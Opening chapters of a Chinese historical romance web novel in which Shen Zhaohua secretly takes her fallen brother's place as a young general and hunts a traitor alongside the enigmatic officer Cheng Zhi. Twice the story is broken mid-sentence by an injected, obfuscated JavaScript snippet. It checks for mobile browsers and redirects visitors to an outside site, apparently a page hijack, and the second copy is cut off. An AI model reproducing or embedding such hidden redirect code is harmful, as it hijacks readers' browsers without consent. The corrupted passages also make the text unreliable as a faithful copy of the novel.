《关河清晏》 1. 吉辰噩讯 倒春寒的时节，这一日是难得的阳光温煦、春风习习，又逢沈将军五十寿辰，可谓是大好的日子。 将军府的大小姐沈照华正在堂上迎来送往，热情招待前来送寿礼的女客。今日她特意穿了一身红锦裙，为吉日更添喜庆。 “谁人不说，沈侯爷真是天赐的好命，大公子功勋卓著、年少袭爵，大姑娘又是如此亭亭玉立、知书识礼。真是羡煞我们！”甘州顾总兵的夫人拉着沈照华的手夸个不住。 沈照华似乎对这样的夸奖已经不以为意，只微微一笑。正要说话，余光正好瞥到堂外门房向她递眼色，手里拿了封信。 这时节都是送寿帖的，谁送信来？ 她先未理睬，依然不动声色地含笑应道：“听闻大公子去年才中进士，今春就已升任翰林院侍读，足见圣眷优渥，升列台阁指日可待，您和顾总兵才是真正有福气呢！” 因在众人面前长了脸面，顾夫人笑得合不拢嘴，沈照华忙顺势让了座，抽得身来。她到门边接过信，只见信封上写着——爱女照华亲启。 父亲昨日才送过信，叮嘱她寿辰待客之事，今日又送，前线这么清闲？ 待这些珠围翠绕的女客们吃罢了茶果离去后，沈照华忙快步回到院中，将沈恪送来的信拆开。 展信而读，只见信上明明白白写道： 汝兄殉国，战情紧急，为父今春难归，汝安守家中，勿盼。汝兄事秘，切勿外传。 什么？兄长什么了？ 沈照华打了个冷颤。不可能啊。 又不是大头兵，一个武艺高强的少将军就这么没了？不至于吧。 她将信纸信封翻来覆去看了好几遍，这确实是她父亲沈恪的亲笔信。 父亲没开玩笑，是老天爷在开玩笑。 一股说不清是抽痛还是绞痛的窒息感霎时涌入她的心窝又迅速传遍全身，她的腰和膝盖有些打软。 在原地愣了好一会儿后，她终于怔怔地回到房中，将信点烛焚烧，火焰险些咬着她冰凉的手。 她呆望着那吞噬了信的灯烛，眼前渐渐模糊了起来。除了脱下这身红色的衣裙，她忽然不知道自己该做些什么。 沈照华啊沈照华，你上辈子是造了什么孽？老天夺走了你的母亲，又要夺走你的兄长。 日渐西斜，凉风钻入窗缝，房中帘帐窸窣作响。 夜里，沈照华红肿着眼睛，突然从榻上坐起来。她握起素日习练的长枪，在庭院里站了很久。她提枪左挡右刺，枪头卷着风发出呜呜声响，最后一枪猛地直穿草靶，干草丝随风飘落。 可如果有一天她也像兄长一样，死在战场上…… 真是没用。 兄长已去，就任父亲一人在前线独撑沈家军吗？ 五年前母亲丧期过后，她毅然离开老家，只身打马入边关为的是什么？温婉贤淑地镇宅吗？ 她脑海中的千头万绪终于梳理清楚，当年十三岁的她为辅佐父兄戍守边关而来，如今既已长成，更不能因生死祸福之事忘却。 当断则断，落子无悔。 月光笼罩着她孤决的背影，她擦掉眼角的残泪，回房收拾。 打点行装，留下称病不出的口信，她趁着夜里街坊左右无人察觉，男装打马往城门奔去。 马蹄踏落地上哒哒作响，踏碎一地月色如银。 到达时，黎明才过，城门始开。 她正要扬鞭速驰，身后忽然响起一连串马蹄声。 勒马回头望去，却发现是一队青袍玄甲的军士，只有为首一人穿着金甲，身姿如玉山负雪，面容如玉琢墨画，不似寻常沙场磋磨之人。 晨曦之中，沈照华一袭布衣如雪清绝，一柄长枪寒光如冰，那金甲之人显然也注意到了她。 他瞥了一眼她手中的长枪，驻马垂眸看她，眼底一派清冷。 “这位小兄弟，看你这打扮，是要去军营？”金甲之人出语从容，声如崖壁清泉。 这样腔调派头的人凤宁城里并不多见，沈照华狐疑地看了他一眼，似答似问地从鼻腔里“嗯”了一声。 “是去投军，还是探亲？”金甲之人的眉梢闪过一丝笑意，继续问着。 “投军。”刚说完，沈照华意识到不对，又道，“我做什么与你何干？管得太宽了吧。” 他并不恼，只是挑眉说道：“如今前线如此凶险，仍有人主动提枪从戎，看来沈将军威望果然名不虚传。” 提到沈将军，沈照华看向他的眼神更添一重警惕。 “你们披甲出城，又是做什么？” 金甲之人怔了一瞬，显然没有预料到会遭到这般反问，于是眉眼又恢复了冷意：“还是第一次有人问我做什么。” “......” 什么脾气，真是平白糟蹋了这张脸。 沈照华睨了他一眼，挥鞭策马而去。偶一回头，那群军士在城门处消失了踪影。 其实在城门内侧，他们悄悄驻马，望着沈照华马蹄远去。 “主子，要暗中跟上他么？”一位玄甲军士问道。 金甲之人想着方才沈照华的答话，缓缓摇了摇头：“他绝不是普通的民兵，不要打草惊蛇。” “经近几日查探，城中确无多余的粮草军械储备，坊间也无异常传闻，还需去军营么？”玄甲军士说着，面露难色，“您此次前来，多少双眼睛暗中盯着，军政之事似乎不宜干预。” 金甲之人沉思片时：“去。既是查访，岂能漏掉军中？” 彼时沈照华打马入营，见过沈恪，便回营帐内穿戴好兄长的银铠，将厚底皂靴里又垫了几层麻布，模仿兄长的步伐走姿。 她虽身材高挑，但毕竟身板单薄，即使穿上厚重的铠甲，以面甲覆脸，细看也不像兄长。 她又寻思，求形似也于大局无助，不如少与人交往，多做实事，不给旁人细看的机会。只要她能担起少将军的重任带领将士得胜，大家又有哪一个会闲到打量她到底是谁？兵来将挡水来土掩，只要父亲不说什么，谁又敢轻易质疑她的身份？ 她抚摸着书案上留着兄长笔记的西境地图，控制着自己不去想兄长的音容。她默默地告诉自己： 以后，她便是沈颂华，是沈家军的少将军。 握起长枪，仔细习练，枪风落处，一个士兵火急火燎地跑进来：“少——少将军？” 沈照华识得，他是沈颂华的亲卫周诚。 周诚这声“少将军”越喊心越虚，他睁大了眼睛，看着这生龙活虎完全不似受过箭伤，但清瘦得又似大病初愈的人，连自己做什么来的都忘了。 “周诚。”沈照华收枪回刃，声音有些发沉。 她知道瞒过底下的士兵容易，但瞒过最亲近的周诚，绝无可能。 她将面甲摘下的一瞬间，周诚愣住了，怔怔地往后退了两步：“大……大小姐？我…我走错地儿了？” “兄长病得沉重，我暂代一阵。”沈照华神情严肃地叮嘱，“此事可天知地知，绝不可外人知。欺君之罪，你知道个中利害么？” “这...这可是要命的事儿！我的姑奶奶，您不能想一出是一出啊！”周诚吓得说话都不利索了。 沈照华勾了勾手指让他靠近点，叮嘱道：“你小点声！兄长病重的消息若传出去，军心必定震荡，现在咱们守军又少，哪里扛得住这样的打击？现在除了保密，你别无选择。” “说出去是不能够，但这是刀口舔血的地界，将军他老人家就这么同意了？！”周诚被吓出来的眼珠子还没收回去。 “现在除了同意，将军也别无选择。”沈照华的神色一派淡然。 “...？” 她岂能让周诚知道沈恪的震怒与反对。但她既来了，就不会再走。沈家威名，不能断在她这一辈，何况她早决定了，不管是生是死，她都得与父亲在一起。 周诚说不出话了，眼睛仍然发直。 沈照华面上解释道：“军心涣散战事不利，也是大罪。与其如此，不如击退敌军，将功折罪。出不了大岔子——你来做什么？” 周诚一回神，这才想起自己来的目的，急忙说：“大小姐，您都把我都弄傻了！守城士兵来报，长明门外来了一队自称是递送粮马册子的宿城士兵，要入营见将军，但不敢确定其身份。将军不在大帐，我就想着来这儿碰碰运气，没想到您在！” 好，刚到就来活计了。 沈照华目光一凛，振作精神大步出帐：“随我前去招待！” 长明门下黄沙遍野，沈照华登上城楼，俯视那群候放的“宿 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她入见沈恪时，沈恪告诉过她，前面几次交战下来，以往一向靠蛮力硬攻的敌国北临军，忽然懂得避实击虚、诱敌深入了，若不是有高人指点，便是我军出了内奸里通外敌。 沈照华越琢磨越觉得，这批人来得藏头露尾行踪不定，大有问题。 回到军营时，落日的余晖渐沉，晚风悄悄吹起，带来些微寒意。 中军帐传出人语交谈声，沈照华四下环望后，悄步近帐而听。 “战事频仍，兵马钱粮损耗极大，我正忧心如焚。多亏顾总兵辛苦筹粮募兵，解大军危难。”这是沈恪的声音。 “顾总兵说，沈将军为国为民，肯将生死置之度外，我们绝不能给前线拖后腿。” 这是谁的声音？沈照华纳罕，听着不似金甲之人。 “程参军和各位公人辛苦了，军营简陋，我派手下送各位去城内馆驿下榻。” 呵，还给他们安排到凤宁馆驿去，真是当贵客一样招待。 告辞声后，帐帘揭开。 沈照华忙恢复站姿，转身欲走，毕竟让人发现帐外偷听可不是个体面的事。 “何人胆敢偷听？” 声音绊住脚步，沈照华的嘴角僵硬地扯了扯，躲避失败，准备迎客。 金甲之人看着眼前一身银铠之人，神情之云山雾绕丝毫不亚于清晨初见，他的目光在她身上转了一圈后，又落到了她的枪上：“原来，是沈少将军？” 沈照华十分漫不经心地拱了下手，但那一双眸子似要将他看透：“在下是沈某不假，尊驾参军身份可是真？” 他并未着急作答，而是迎上她的目光，突然露出难以捉摸的笑意：“真假一事，人心自知，何必多言。少将军以为呢？” 金甲之人不带迟疑地如风而去，沈照华却在原地愣住了。 她忙伸手摸了摸面甲——还牢牢地戴在脸上。 难道是他发现了什么端倪？ 沈照华兀自摇了摇头。不可能，什么真假自知，分明是故弄玄虚，必定有鬼！ 她还未及回神，帐内便走出了沈恪和两个手下的参议官，他两个看了沈照华一眼，又惊又奇地问道：“颂华，你前几日伤得那么重，怎么不在家多养养，着急来营里做什么！将军也是，就这么一个儿子，怎么不劝着些！” 果然人在做，天在看，圣人早就教诲过非礼勿听，却非要听，如今可遭报应了吧？ 沈照华现在对自己方才偷听的行为十分后悔。 面甲下的她露出了礼貌的微笑，虚了声音道：“战事紧张，我岂敢稍歇，虽然伤得重，但能撑一日便是一日。” 沈恪在旁冷眼不言，两个参议官又道：“你听听这声音都不像样子了！你还年轻，不能不把自己的身子当回事——对了，又不在战场上，你还戴着那沉甸甸的面甲做什么，还不摘了它！” 面甲...？ 面甲之下的她表情由笑转哭，是啊，又不打仗，她戴这劳什子干嘛啊？ 可她一旦摘了，不全露馅了吗！ 2. 神出鬼没 沈照华的手心已经沁出薄汗了，她觉得身边刮过的风都是在教训自己。 “面甲...”沈照华的眼神飘忽了一瞬，陡地明亮起来，声音依然是虚沉的模样， “我这便要去城中巡察，特意戴上的。不怕大人们笑话，之前我去巡城时，竟然有姑娘从茶楼上扔帕子给我，但我过的是刀口舔血的日子，怎好招惹姑娘们...这才戴上面甲，以免糟蹋芳心。” 说完，沈照华也不禁佩服起自己这张口扯瞎话的本事了。 两个参议官听罢大笑起来：“谁不知你小子生了个好模样！不过你早到了议亲的年纪，待打完了仗，回去该成亲还是要成亲，别把自己和姑娘都耽误了。” 他两个笑得开怀，沈恪与沈照华的神色却黯淡了下来。 他们哪里知道，真正的沈颂华，如今已长眠于地下了。 半晌一言不发的沈恪终于开口了：“他也老大不小了，这些事让他自己裁处。咱们先去东城楼，看看夜里的设伏之地。” 待他们三人远去，沈照华劫后余生般长长地舒了口气。这都是什么事儿啊，以后可不能往人堆儿前扎。 周诚这时从帐旁冒了出来，也跟着在旁叹了口气：“我的大小姐，方才可真悬呐！我都替您捏把汗啊！” 沈照华白了他一眼，转身便走：“刀架脖子上也不能说出去，听见没？” “天大的事，我当然知道。对了，甘州各城的援军和粮草近几日就到了，咱们的兵力应该可以和北临十五万大军僵持一阵子，到时候您还不回去吗？”周诚追上她，小声问道。 回去？从离开家门那刻起，她就忘记这俩字了。 沈照华停下脚步，郑重回答：“我自有主张，你只管别拖我后腿就是了——对了，要叫我少将军。” “哦——” 周诚耸了耸肩，便又乖乖地随她回营帐了，毕竟这姑奶奶的脾气，真正的少将军都惹不起，谁敢跟她唱反调。 三日后晚间，沈照华照例入城巡视粮仓与军械库，确认妥当后，她便将沉重的铠甲系在马背上，一个人牵马走在回营的路上。 料峭晚风吹过，她的身影更显单薄。 她手中的马鞭轻轻甩动，袍摆随风而荡。 她想起自己曾经陪兄长无数次走在这条去军营的路上，兄长给她讲为国为民的道理，讲西境南境的边事，谈作战的兵法阵法…… 只是之前是送兄长去军营，如今只有她自己一人了。而送她去军营的，唯有影子而已。 正回忆着，忽然，地上一道黑影一闪而过，沈照华猛地抬头望去。 那个位置——凤宁馆驿！ 那金甲之人和青袍军士，就住在那里！ 她忽然想起沈恪的话：军中可能有内奸！ 策马扬鞭，临近馆驿，四下并无一点动静。 黑影了无踪迹，周边只有馆驿中零星几点灯光闪闪摇动。 ——刺耳的响箭声挟风钻透耳膜。 “啪”！——面甲被飞来的响箭擦到了地上！ “什么人！”一串急促的脚步声从馆驿冲出，“胆敢夜窥馆驿！拿下！” 透过夜色，沈照华依稀看清了那发令之人的长相——玄甲军士！ 馆驿二楼，烛光摇曳。 白日里的金甲军士，如今已打扮成一个文士模样，他只着一袭银灰色绸质薄棉袍，如鹤出尘，茶烟在他手边氤氲缭绕。 他看了一眼案上的面甲，打量着褪下铠甲只着军服的沈照华，她目如寒星，兰质清疏，跟清早所见一般无二，只是疏离之感更增几分敌意，使周遭的空气都带上了冷意。 但是这单薄的肌骨，清秀的面容，着实不似久戍边地威名赫赫的少将军，倒像是个…… 他眼角漾起三分笑意：“足下真是，沈少将军？” 话音未落，沈照华没有给他任何反应的时间，一把抄起面甲——转瞬之间，面甲尖利处，已直抵那人咽喉。 军士腰中利剑已凛冽出鞘。 他神色陡地一冷。刹那后，用手示意手下收剑。没有证据，他知道她不会真的致自己于死地。 “声东击西雕虫小技，那黑衣人是谁？”沈照华开门见山，“你们此来，究竟意欲何为！” “黑衣人？”他眉宇间缓缓浮出几分疑惑之色，辨不出是真疑还是假惑。 “先是入城窥探，后有深夜密谋，如今又假装无辜——也想瞒过我？”沈照华手上的劲又加了几分，甲刃在他修长白净的脖子上，划出一道白痕。 他的眼神极其微弱地闪烁了一下，她的精明缜密是他始料未及的。 “一场误会，何必大动干戈。只是我这命不值什么，怕是纵给了少将军也无用。” 一语落地，无人回应，只有灯烛兀自摇曳。整个空气冷到了冰点。 沈照华的凝视如寒星深冷，他既无法告知她真相，只能逐渐攥紧她的手腕，将她的手缓缓压住。 “如今各城援军陆续入营，大战一触即发，若有需要效力的，某义不容辞。少将军，不如，坐下说话？”他尝试将话题移开。 那冰凉如玉的手触到她手腕时，她细密的长睫分明一颤。 “不必。少动手动脚。” 他抬眉看了她一眼，将手缓缓松开。 沈照华将手腕挣出他手，甩了两下，落座。 “那日清晨，你们在城中策马何为？”她摆出了审案的架势。 “办差之前闲游一番，用个早饭而已。不过少将军仅凭一个子虚乌有的黑衣人，便将程某诬为奸仇，这笔账，该如何算呢？”他并不以回答的姿态应对。 “不痛不痒的三言两语，就想把我打发了？足下倒不必找我的不是，账是要算的，只是最后付钱的，怕得是你。”他越避而不谈，沈照华越觉得他在刻意掩饰什么。 那人露出了似有若无的笑意：“清者自清。不过少将军如此风声鹤唳，看来凤宁必有隐忧——”他话锋一转，与她四目相对，“难道这里，有什么见不得人的秘密？” 他断定，她如此针锋相对，必定是怕自己对某些事有所妨碍，也许是战事，也许是沈家，也许是什么别的。 只一瞬，她凛冽的眼神却忽地敛了锋芒。 她意识到，过于紧张，反易暴露。 “你说得对。”她唇角斜勾起一抹冷笑，“所以来看看你的心肝是什么颜色。” 他没有回应，只是亲手斟了盏茶：“上好的雪芽。少将军，请。” 手边案上，茶烟尚袅袅。 两个人各自不动声色地饮着茶，各自暗暗地彼此打量着。 楼下忽然响起一阵动乱之声。 沈照华当即推窗看去，只见一群百姓摩肩接踵地向北涌去。 “是当兵的来抢妓女？” “听说是，快去看看！” 百姓间互相议论着。 沈照华头皮一阵发紧，当兵的？莫非是军营里的人？撂下眼前的不速之客，她疾步冲下楼去。 待她的身影消失在楼梯的尽头，金甲之人抬头问向一旁垂手侍立的玄甲，眼底隐着一抹阴云： “手下的人办事如此不干净，竟叫人找上了门来？” 玄甲当即跪地：“臣知罪，都是臣用人不得力，请主子赐罪。” 他收起眼中的阴晦，缓缓起身道：“以后关于沈家和甘州各城兵马钱粮的密报，如无异常，便不必报了，免得再节外生枝。你的罪回头再治，先随我去楼下看看。” 青楼门前，三个着军服士兵正在对两个百姓拳打脚踢，打得人蜷缩一团动弹不得。 有几个艳妆妓女躲在门后满目惊惶，老鸨着急地喊着“别打了”，但是一旁的护院无一敢上前拉架。 一旁的百姓都议论纷纷。 “仗还没打完，就到城里欺压百姓了！” “他们吃的粮可是我们嘴里省下来的！” “怎么没人来管管他们！” “......” 沈照华迅速挤出人群，夺过护院的棍子就照一个士兵的后背直劈下去，一个猛劲儿将他杵在地上，一脚死死踩住他的脑袋。那个士兵在她手下似一个只会“哎哟”但毫无还手之力的蚂蚱。 周围人纷纷道： “这个小军爷好生厉害！” “恶有恶报，就该这样教训他们！” 另两个士兵一旁目瞪口呆。沈照华狠瞪着他们：“你们是哪个营的？竟敢骚扰百姓、市井斗殴！” 他两个本来心虚的神情，却登时翻作无赖：“你个娘娘腔算哪根葱？敢管大爷的事？” 娘娘……腔？！ 敢瞧不起娘？！ 好大的狗胆！ “我管的就是你们这种败类！” 一声低吼后，她酝酿了全身的力气攥紧棍子直向那俩人抡去，先左挥后右砍，前击后劈，又掰了一个膀子摁他跪在地上，中间传来骨头碎裂的声响。底下那兵士简直毫无招架之力。 后面瘫在地上的士兵壮了胆子试图起身反击，忽地从天而降两个青袍玄甲，将另两人三五下一齐制住。 回头看时，沈照华的手僵住了。 是他的人？ 他的手下怎么跟他一样神出鬼没？！ 穿着灰袍的金甲之人此时已站在了人群中。她望着沈照华坚毅的身影，心中泛起涟漪。 他在京中见惯了奴颜媚骨之人，也见惯了圆滑老成之人，每个人都明哲保身左右逢源。他似乎从未见过像她这样的人，一身凛然的傲骨义气，清瘦的身躯里似乎有着巨大的力量。 “你们是谁！我们可是前线的官军！”两个被制伏的士兵大声垂死挣扎。 他收回思绪，睨了一眼那两个士兵，便向侍卫施了个眼色。 玄甲立马上前押下三个士兵，放大了声音道：“你们欺压百姓、违反军纪，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347533|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们正是奉了沈将军之命前来逮捕你们！押回去，军法处置！” 三个被打得狼狈不堪的士兵听了这话，惊惶地面面相觑。 百姓纷纷叫好而散。只有那人还站在原地，月色朗照下，通身像笼了一层薄霜。 果然神出鬼没。 “你的人一早就守在这里了？” “我不像你，后院都起火了，还敌友不分呢。”他的语气已不似初时冷漠，反倒带了几分调侃之意。 “…就你是明白人。你又如何知道？” 那人打量了四下，用食指虚挡了唇，眼睛瞥了下附近的馆驿。 馆驿附近外来人杂，不是说话处。 沈照华扔下棍子，提议道：“去旁边夜市，都是百姓，没人会注意咱们。” 他既用父亲的名号来镇压违纪恶军、安定民心，看来他并不想妨碍战事顺利进行，不然也不必多此一举。沈照华想着，既不是奸细，便不是敌人，与他同行无妨。 夜市花灯高照，人语声喧，酒旗杏帘，迎风招展。单看这城中夜市，完全想象不到城外便是随时可至的血雨腥风。 “路这么熟，你常来？”沈照华漫不经心地问着。 他看似漫不经心地答：“与其去军中惹人怀疑，哪如在市井与民同乐？” 沈照华斜看了他一眼：“还与民同乐，你不是七品么？竟摆出这天潢贵胄的架势。” 他摊手反问：“参军虽小也是官，有什么问题么？” “你说得对，毕竟豆包也算干粮。” 说完二人都笑了，他抬头笑，沈照华低头笑。 他的目光又暗暗落在她身上。 “那几个兵是怎么回事？你为什么盯着他们？”沈照华可没有忘记正事。 他看了看四下，与她附耳低语道：“这两日入营的是宿城士兵，听说这批人在行进途中，就有人意图泄露大军路线。为防他们妨碍战事，我一早就派人看着了。” 宿城是顾总兵的地盘！难道他跟内奸有关系？她忽然想到顾总兵那升迁之快异于常人的儿子，莫非……是有人许了他家好处？ 密话的暖风擦过耳畔，她惊异地抬头看他，他的眼神还未来得及收回。 但就是这一瞬，他的轮廓面容似乎在她眼中清晰起来了。 温润谪仙，眉目湛然，右眉梢上还有一颗若隐若现的痣。 这张脸虽然不能当饭吃，但是确实很赏心悦目。 沈照华脸上蓦地热起来，眼神闪烁了一下，忙看向别处，完全没意识到自己欲盖弥彰了。 她偷偷咬了下嘴唇，当是教训自己竟然看那么细致。 他将她的神色尽收眼底，心底不知为何竟然还有几分快活。短暂的注视后眉头一松，慢悠悠说道：“我知道你要问什么。我是总兵府的参军，官虽小，但人脉还是有几分，他们这些举动，岂能瞒过我的眼耳？至于他们到底是受谁的指使，先待审谳便是了。” “那你不早说。”沈照华看了一眼他脖子上的面甲划痕，“还好我今天没打算下狠手。” 他眼角唇边都扬起笑意：“我可不信，你一上来就是要杀人的架势。” “那黑衣人当真与你无关？” “我一早说了，真假之事，人心自知。” 沈照华又瞥了他一眼。 “可用过晚饭了？”那人突然问道。 “...啊？” 他们到了可以共用晚饭的交情了？！沈照华不禁挠头。 隆福楼里的雅间已经客满，他们便当堂坐了，点了几道当地的特色小菜，要了一壶陈茶。 “少将军果然尽责，连酒都不肯喝。” 少将军……兄长曾经最喜欢这家酒楼的桑落酒，常来置办，如今物是人非，又哪里喝得下去。 “既是在外，何必官称，叫我沈颂华就是了。”沈照华回过神，喝了口热茶道。 “岂敢，沈兄——在下姓程，单名一个致字。”程致淡淡一笑，“听闻沈兄几日前与北临交战，受了箭伤，伤势甚重。不过我看恢复得尚好，教训宿城援兵那几下，极为利落。” 沈照华眉心一动，随即道：“既是知我有伤在身，方才邀我饮酒，是什么道理？” “是程某疏忽了，我这里以茶代酒，向沈兄赔罪了。还请沈兄不要同我一般见识。” 程致边倒茶饮尽，边打量着她，目光又恢复了一向的云山雾绕，只是那浅淡的笑意并未褪去：“世人总说塞下英杰多孔武粗勇之辈，如今见沈兄绮年玉貌，秀骨清姿，方知众人所言，未必是实。” 他在观察自己。果然宴无好宴。 玉貌清姿……难道他发现什么了？沈照华手中的筷子不由攥紧。 不待她说话，周诚突然满头大汗地随玄甲军士疾步找了来，神色焦灼地对她附耳说了什么。 沈照华听罢猛地抬眸，满眼错愕地向程致说道：“坏了，军营出事了。” 3. 福祸难料 军营里是真正的人仰马翻。 一向训练有素的军马如今都瘫倒地上，蜷缩身体、眼窝深陷，有的还在踢腹甩尾、坐立不安。马厩里的士兵们来回清扫马厩、送汤喂药，忙乱不堪，空气中掺杂着马粪味和苦涩的药味，令人近之头晕。 “医官说，这些马是吃了发霉之物导致腹泻，恢复到能上战场，至少也得七八天！”二更寒夜，周诚一边抹着额头大汗，一边气喘吁吁地禀报。 “马匹草料均有专人看管，哪里来的发霉之物？”沈照华心如火烧，作战失了马匹，岂不是要精锐士兵拿命去硬搏？这和灭顶之灾有何差异！ “将军正派人调查呢！怀疑是内奸作祟！”提到内奸，周诚的恨意挡都挡不住。 又是内奸。泄露部署、指使士兵闹事，如今又把手伸到军马上来了，真是神通广大啊，就一点蛛丝马迹都查不出？ 她忽然想到，马匹病倒，攻势不利，其余援军又在路上，万一北临十五万大军同时前攻后伏…… 坏了。 沈照华像阵风一样拔腿向中军帐跑去，靴子在地上留下阵阵的咚咚声： “父亲！甘州援军不能从回雁山来！” 回雁山道路平缓，便于后方支援，但周围壁陡林密，敌军一旦上方设伏，我军不战自败！ 帐内，沈恪修书已毕，正封缄烙印交与亲随。 沈照华忙道：“可分三路快马递送，以免中道被截。再派人先去清查伏兵。” 沈恪看了她一眼，点头道：“此法周全。”于是再行增写，“只是时间太紧迫，回雁山一路兵马足有三万，若晚收到信，临时分兵亦容易打草惊蛇。如今只能尽人事，听天命了。” 可若援军中埋伏，那凤宁彻底是孤城一座了。 “预备守城器械，一日三班，日夜轮值，严防死守！” 沈照华迎上沈恪血丝遍布的眼睛。她知道，如今内忧外患危机四伏，山雨，欲来。 军营顿时陷入大战在即的紧张与忙碌，此时，帐外一个玄甲身影悄悄离去。 沈照华随沈恪部署好守城兵力，便直奔地牢而去。她路上只顾着思考该如何盘问那三个宿城士兵，并未做任何第一次进地牢的心理准备，所以当地牢漆黑的铁门吱呀一声在她面前敞开时，她意识到，疏忽了。 狭窄的门道里，只有左右两盏油灯晃着幽幽鬼火，其余俱是一片黑洞。她借着狱卒打的灯笼的光线，步步小心地平安落到了地面。 刚转了第一个弯，迎面扑来的也不知是腥气臭气还是腐烂气顶了她一个趔趄，她急忙捂了口鼻屏住呼吸。 “少将军，不如白日里叫人把他们押去您营帐里审吧，这牢里又闷又潮，您哪受得惯这罪呀。”狱卒提议道。 沈照华有那么一瞬间确实犹豫了。但是随即拒绝道：“明日就怕晚了，还是抓紧吧。” 刚刚被押进牢房去不久的三个兵，就又被手撩脚铐地提到了刑讯间。 “刚不是问过了吗，我们知道的都说了！”那三个兵不耐烦道。 听这意思，沈照华眉心一动：“哦？他们问了什么，你们又招了什么？” “问我们为什么要当街闹事，是谁指使的，我们真的没人指使！就是这一路走过来累了，想找几个姐儿解解乏。” 沈照华的嘴角不由自主地向下压了压。 “你们是宿城人，翻山越岭来到凤宁，家里人想必很挂心吧？如果你们骚扰百姓违背军纪，恐怕砍刀之下，只有魂魄能与家人相聚了。”沈照华顿了顿，继续道，“可如果是有人指使，兴许还能留一条命。” 不提家人则已，一提家人，他们的反应却更激烈了，声音都带着颤抖。 “都说了没人指使！没人指使！想砍就给我们个痛快！” 沈照华心里有数了，看来他们的家人是被胁迫了，不然不会这么强烈求死。 “你们也不必给谁遮掩，你以为有谁会那么好心，只要你们的命，留下你们全家人让我去追查吗？你们被捕之日，就是你们全家命殒之时。” 三个士兵的气焰明显下去了，甚至有点手足无措。 沈照华忍着这满屋的腥臭气继续说：“我这么着急过来，就是为了给你们开道生门。只要你们把幕后真凶说出来，我连夜派人去救应你们家人，争取能赶在他下手之前，给你们把家人保下。你们自己，也能免于一死。” 沈照华不再说下去了，三个士兵也只是面面厮觑，牢中只能听见墙壁上火把燃烧时火星的迸溅声。 昏暗斑驳的火光下，中间士兵的眉头紧紧皱着，向旁边两人使了个眼色。 左边一个立马眼神闪躲起来，右边一个神情似在油煎。 “是方都司！是方都司许了我们一人一百两银子，让我们入城寻事的！”好一阵僵持后，突然，一个士兵招道。 “只是他一个人？你们的百户、千户知道么？”沈照华立马问下去。 “别人不知道，就是他找的我们！” “如果有不尽不实的地方，你们这条命，我可就爱莫能助了。” 三个士兵纷纷说没有，沈照华也便停了手。毕竟像他们这种无名小卒，能得到都司亲自指派，已经是上上荣光了，再高位的人，怕也不能够了。 沈照华得了线索，细问了方都司吩咐给他们的任务和许下的赏，叫记下他们的姓名户籍转身欲走，却猛地想起另一件大事。 “方才问你们的人，你们可知道是谁么？” 三个士兵一愣：“不知道。” “你们宿城程参军带来的人，都不认识？” “真没见过他！而且他也不是我们那儿的口音啊，都不是我们那儿的人，我们哪能见过！” 沈照华手心一凉。 方才街上玄甲说的那几句话，好像是京城口音。 “程参军籍贯在哪儿，你们可知道？” 三个士兵纷纷摇头。 想他说话亦是京城口音，虽然官员出外任并不稀奇，但一个参军，能带宿城本地士兵来倒是常事，带个京城士兵来，可说不通。不过回想那天初到时，中军帐里向父亲禀报兵马钱粮之事的那个声音，又是甘定口音。 沈照华的思绪开始打结了。他到底是谁，又究竟为何而来？ 她连忙出了地牢，径直去找周诚。查，方都司要查，程参军也要查！ 派去宿城查访的人才走了不足两日，马匹也还未痊愈，北临便再度发动猛烈攻势，凤宁守军苦守七日，筋疲力尽。 但见城门前一望无际的沙地上，黄埃如雾，人头如蚁，空气中都飘荡着血腥味。 “若援军迟迟不至，就列阵迎敌，以死拼斗。”城楼上，沈恪面色凝重地决定。如今城内粮草已经不能支撑持久守城，户部那边又迟迟不调粮，如果不战，无异于坐以待毙。 沈照华丝毫没有犹豫地凛声请命：“迎战之时，末将愿为前锋！” 沈照华的请求如同水滴入海般没有激起丝毫波澜，沈恪根本没有回头，依旧俯视战况。 将领们时不时望望东面，那是援军来的方向。 送往后方的信至今未有回音，其实他们心里已经有数，这时节援军还不来，估计凶多吉少了。 这时周诚又一脸沉重地来了，压了声凑近告诉她：派去宿城查访的人暂无消息。但住在馆驿的参军和几个军士昨日绑了暗守在楼下的士兵，已不知所踪。 逃了？她不禁想到昨天调查马病时，马厩的两个小兵中毒身亡之事。莫非是他们的手笔？沈照华心内冷笑，之前街市相帮，都是逢场作戏故意迷惑！ 不过这个念头浮现后，另一种情绪却又接着涌起。他真的，只是逢场作戏吗？ 顾不上细想，她忙收起思绪专注战况，城下已是北临的震天杀声。将领们正如热锅上的蚂蚁，都在准备开门死战之时，一阵踏踏的马蹄声隐约动地而来。 沈照华连忙循声望去。 “将军！看——”透过黄沙，一列丹旗打头的黑潮般的长队自东向西而来——是援军！ “如降甘霖！盖有神助啊，援军竟然真的顺利绕路过来了！”将领们的惊喜不亚于原地升官。 瞬间的欣喜后，沈恪的神情却忽然沉下来，在将领中显得格格不入：“援军从东面而来，正好牵制北临的右翼。北临的中军大帐就在那里。” 届时中军的守兵，定会分兵去支援右翼，守卫最是薄弱——沈照华瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈照华的语气早不似先前冷冽，程致也得以与她多解释几句：“我赶到时，援军已经收到沈将军的信，绕道北山来了。我只是分了三千兵马到回雁山峡谷处虚张声势作为疑兵，牵制北临伏军，让他们不那么快回来救应而已。” 眼前的程致发丝已然凌乱，脸上身上灰尘血迹斑驳，唯有一双眸子清亮湛然，定是经历一番周折苦战才得以入阵中救应，却被他三言两句轻飘飘带过，沈照华觉得心中似有酸胀之感。分明方才，她还在怀疑他是奸细。 “程兄深谙兵法，又一心为国，只做个参军，未免大材小用了。” 